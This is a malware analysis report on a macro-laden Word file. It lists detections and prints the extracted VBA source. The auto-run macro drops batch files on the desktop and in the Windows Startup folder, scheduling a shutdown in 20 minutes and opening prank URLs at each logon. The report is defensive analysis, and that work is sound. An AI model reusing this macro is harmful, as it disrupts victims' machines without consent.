Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2eaa8245041ac3b7…

MALICIOUS

Office (OOXML)

360.6 KB Created: 2021-01-13 05:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-01-23
MD5: 576e9eadce8b8fa43d695f71b1a0645b SHA-1: 78bd561ac41eaab773e9e45653b86a311e61e209 SHA-256: 2eaa8245041ac3b77be1fd90f0881e77962fb330b21e9e040fdba590d8cf6dc7
386 Risk Score

Heuristics 11

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call Shell("cmd.exe /S /c" & "cd c:/users/%USERNAME%/desktop", vbNormalFocus)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Call Shell("cmd.exe /S /c" & "echo start powershell > clean_up.bat", vbNormalFocus)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Call Shell("cmd.exe /S /c" & "cd c:/users/%USERNAME%/desktop", vbNormalFocus)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://www.google.com/search?q=how+to+remove+virus+pls+helpIn document text (OOXML body / shared strings)
    • https://www.youtube.com/watch?v=dQw4w9WgXcQIn document text (OOXML body / shared strings)
    • https://www.google.com/search?q=69240In document text (OOXML body / shared strings)
    • https://www.youtube.com/watch?v=g2TvVEr1ya4In document text (OOXML body / shared strings)
    • https://d.docs.live.net/d1bae0a73c40754d/Documents/stars.docxIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 10725 bytes
SHA-256: 14321beb8862960bf10de9b3e6c7b7c89aac6db9b7d9b0d8946753567afd18c1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
    Call Shell("cmd.exe /S /c" & "cd c:/users/%USERNAME%/desktop", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus1.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus2.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus3.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > lol trying to escape.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus4.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus5.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus6.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus7.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus8.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus9.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus10.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > lol trying to escape lol.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus11.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus12.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > virus13.exe", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > clean_up.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > virus.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > lol trying to escape lol.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > lol trying to escape lol.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > lol trying to escape lol.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > lol trying to escape lol.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > lol trying to escape lol.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > lol trying to escape lol.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > lol trying to escape lol.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > 69420.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start powershell > clean_up.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start powershell > clean_up.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start powershell > clean_up.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start powershell > clean_up.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start powershell > clean_up.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start powershell > clean_up.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start powershell > clean_up.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > shutdown.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo shutdown /a > shutdown.bat", vbNormalFocus)

    Call Shell("cmd.exe /S /c" & "cd C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > not_today.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "type NUL > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo shutdown /s /t 1200 > not_today.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=g2TvVEr1ya4 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=g2TvVEr1ya4 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=g2TvVEr1ya4 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=g2TvVEr1ya4 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=g2TvVEr1ya4 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=g2TvVEr1ya4 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=g2TvVEr1ya4 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=g2TvVEr1ya4 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=g2TvVEr1ya4 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=g2TvVEr1ya4 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=how+to+remove+virus+pls+help > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.youtube.com/watch?v=dQw4w9WgXcQ > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > crash.bat", vbNormalFocus)
    Call Shell("cmd.exe /S /c" & "echo start https://www.google.com/search?q=69240 > crash.bat", vbNormalFocus)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20480 bytes
SHA-256: da5e072bdf2498ef2bb7d69f4c96585f3b2e985c857cea70970bd1c6c447eb1d
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely